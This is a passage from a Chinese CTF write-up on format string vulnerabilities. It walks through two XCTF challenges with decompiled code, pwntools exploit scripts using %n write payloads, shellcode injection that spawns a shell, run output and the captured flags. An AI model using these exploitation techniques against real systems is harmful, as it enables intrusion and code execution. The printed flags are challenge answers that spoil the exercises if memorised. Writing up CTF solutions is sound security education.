

4.格式化字符串

原理

https://ctf-wiki.org/pwn/linux/fmtstr/fmtstr_intro/

`pwnlib.fmtstr` 格式化字符串漏洞利用工具 https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/fmtstr.html

题目

攻防世界 CGfsb

格式化字符串漏洞，覆盖任意位置内存。

构造payload覆盖pwnwe变量，使其为8

```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     _DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
4     __int16 v5; // [esp+26h] [ebp-76h]
5     char s[100]; // [esp+28h] [ebp-74h] BYREF
6     unsigned int v7; // [esp+8Ch] [ebp-10h]
7
8     v7 = __readgsdword(0x14u);
9     setbuf(stdin, 0);
10    setbuf(stdout, 0);
11    setbuf(stderr, 0);
12    buf[0] = 0;
13    buf[1] = 0;
14    v5 = 0;
15    memset(s, 0, sizeof(s));
16    puts("please tell me your name:");
17    read(0, buf, 0xAu);
18    puts("leave your message please:");
19    fgets(s, 100, stdin);
20    printf("hello %s", (const char *)buf);
21    puts("your message is:");
22    printf(s);
23    if ( pwnme == 8 )
24    {
25        puts("you pwned me, here is your flag:\n");
26        system("cat flag");
27    }
28    else
29    {
30        puts("Thank you!");
31    }
32    return 0;
33 }

```

Python

```

1 from pwn import *
2 context.log_level = 'debug'
3 p = remote('111.200.241.243',63992)
4 #p = process('./pwn')
5 p.sendlineafter('name:', '1')
6 payload = p32(0x0804A068)+'A'*4+'%10$n'
7 p.sendlineafter('please:', payload)
8 p.interactive()

```

```

ams@ams:~/ctf$ python exp.py
[+] Opening connection to 111.200.241.243 on port 63992: Done
[DEBUG] Received 0x19 bytes:
    'please tell me your name:'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Received 0x1b bytes:
    'leave your message please:\n'
[DEBUG] Sent 0xe bytes:
    00000000 68 a0 04 08 41 41 41 41 25 31 30 24 6e 0a |h...|AAAA|%10$|n|
    0000000e
[*] Switching to interactive mode

[DEBUG] Received 0x8 bytes:
    'hello 1\n'
hello 1
[DEBUG] Received 0x69 bytes:
    00000000 79 6f 75 72 20 6d 65 73 73 61 67 65 20 69 73 3a |your mes sage is:
    00000010 0a 68 a0 04 08 41 41 41 41 0a 79 6f 75 20 70 77 |h...AAA A yo u pw
    00000020 6e 65 64 20 6d 65 2c 20 68 65 72 65 20 69 73 20 |ned me, here is
    00000030 79 6f 75 72 20 66 6c 61 67 3a 0a 0a 63 79 62 65 |your fla g:... cybe
    00000040 72 70 65 61 63 65 7b 63 32 32 64 61 30 38 30 63 |rpea ce{c 22da 080c
    00000050 31 64 30 33 64 64 64 62 31 31 66 30 35 30 36 35 |1d03 dddb 11f0 5065
    00000060 36 66 32 33 65 37 37 7d 0a |6f23 e77} .|
    00000069
your message is:
h\xa0\x04AAAA
you pwned me, here is your flag:

cyberpeace{c22da080c1d03dddb11f050656f23e77}
[*] Got EOF while reading in interactive
$ 

```

攻防世界 string

先分析程序逻辑。

定义v4[0] = 68,v4[1]=85，然后输出这两个变量的地址。

```

1 __int64 __fastcall main(int a1, char **a2, char **a3)
2 {
3     _DWORD *v4; // [rsp+18h] [rbp-78h]
4
5     setbuf(stdout, 0LL);
6     alarm(0x3Cu);
7     sub_400996(60LL);
8     v4 = malloc(8uLL);
9     *v4 = 68;
10    v4[1] = 85;
11    puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
12    puts("we will tell you two secret ...");
13    printf("secret[0] is %x\n", v4);
14    printf("secret[1] is %x\n", v4 + 1);
15    puts("do not tell anyone ");
16    sub_400D72(v4);
17    puts("The End.....Really?");
18    return 0LL;
19 }

```

要求输入一个address给v2，下面的printf(format)存在格式化字符串漏洞

```

1 unsigned __int64 sub_400BB9()
2 {
3     int v1; // [rsp+4h] [rbp-7Ch] BYREF
4     __int64 v2; // [rsp+8h] [rbp-78h] BYREF
5     char format[104]; // [rsp+10h] [rbp-70h] BYREF
6     unsigned __int64 v4; // [rsp+78h] [rbp-8h]
7
8     v4 = __readfsqword(0x28u);
9     v2 = 0LL;
10    puts("You travel a short distance east.That's odd, anyone disappear suddenly");
11    puts(", what happend?! You just travel , and find another hole");
12    puts("You recall, a big black hole will suckk you into it! Know what should you do?");
13    puts("go into there(1), or leave(0)?");
14    _isoc99_scanf("%d", &v1);
15    if ( v1 == 1 )
16    {
17        puts("A voice heard in your mind");
18        puts("'Give me an address'");
19        _isoc99_scanf("%ld", &v2);
20        puts("And, you wish is:");
21        _isoc99_scanf("%s", format);
22        puts("Your wish is");
23        printf(format);
24        puts("I hear it, I hear it....");
25    }
26    return __readfsqword(0x28u) ^ v4;
27 }

```

调试时发现v2变量是栈上格式化字符串的第7个参数


```
'Give me an address'
1 ←
And, you wish is:
AAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
Your wish is
AAAAAAA.0x7f332eabc6a3.0x7f332eabd780.0x7f332e7ee380.0x7f332ecc5700
.0x7f332ecc5700.0x100000022.0x1.0x4141414141414141.0x252e70252e70252
eI hear it, I hear it....
Ahu!!!!!!!!!!!!!!!!!!!!A Dragon has appeared!!
Dragon say: HaHa! you were supposed to have a normal
RPG game, but I have changed it! you have no weapon and
skill! you could not defeat me !
That's sound terrible! you meet final boss!but you level is ONE!
The End.....Really?
ams@ams:~/ctf$
```

这段代码 ((void (__fastcall *)(_QWORD))v1)(0LL); 意思是将输入的v1作为函数指针进行函数调用。这里可以写入shellcode来getshell。

前提是令a1[0]==a1[1]，而此处的a1即前面提到的v4。

```
1 unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
2 {
3     void *v1; // rsi
4     unsigned __int64 v3; // [rsp+18h] [rbp-8h]
5
6     v3 = __readfsqword(0x28u);
7     puts("Ahu!!!!!!!!!!!!!!!!!!!!A Dragon has appeared!!");
8     puts("Dragon say: HaHa! you were supposed to have a normal");
9     puts("RPG game, but I have changed it! you have no weapon and ");
10    puts("skill! you could not defeat me !");
11    puts("That's sound terrible! you meet final boss!but you level is ONE!");
12    if ( *a1 == a1[1] )
13    {
14        puts("Wizard: I will help you! USE YOU SPELL");
15        v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
16        read(0, v1, 0x100uLL);
17        ((void (__fastcall *)(_QWORD))v1)(0LL);
18    }
19    return __readfsqword(0x28u) ^ v3;
20 }
```

分析到这里，整理一下思路：通过格式化字符串漏洞，修改v4[1]为68（或者修改v4[0]为85，也是可行的），使v4[0]==v4[1]，从而a1[0]==a1[1]，再写入shellcode，最后拿到flag。

Python

```
1 from pwn import *
2 #context.log_level = 'debug'
3 p = remote('111.200.241.243',57358)
4 #p = process('./pwn')
5 p.recvuntil('secret[0] is ')
6 addr_0 = int(p.recvuntil('\n')[:-1],16)
7 print hex(addr_0)
8 p.sendlineafter('name be:', 'a')
9 p.sendlineafter('east or up?:', 'east')
10 p.sendlineafter('there(1), or leave(0)?:', '1')
11 p.sendlineafter('\Give me an address\\', str(addr_0))
12 p.sendlineafter('wish is:', '%085d%7$n')
13 shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
14 p.sendlineafter('USE YOU SPELL', shellcode)
15 p.interactive()
```

```
ams@ams:~/ctf$ python exp.py
[+] Opening connection to 111.200.241.243 on port 57358: Done
0xfc2010
[*] Switching to interactive mode

$ cat flag
cyberpeace{f786e6e87ff70ac1c2770ddc8b424d2d}
$ █
```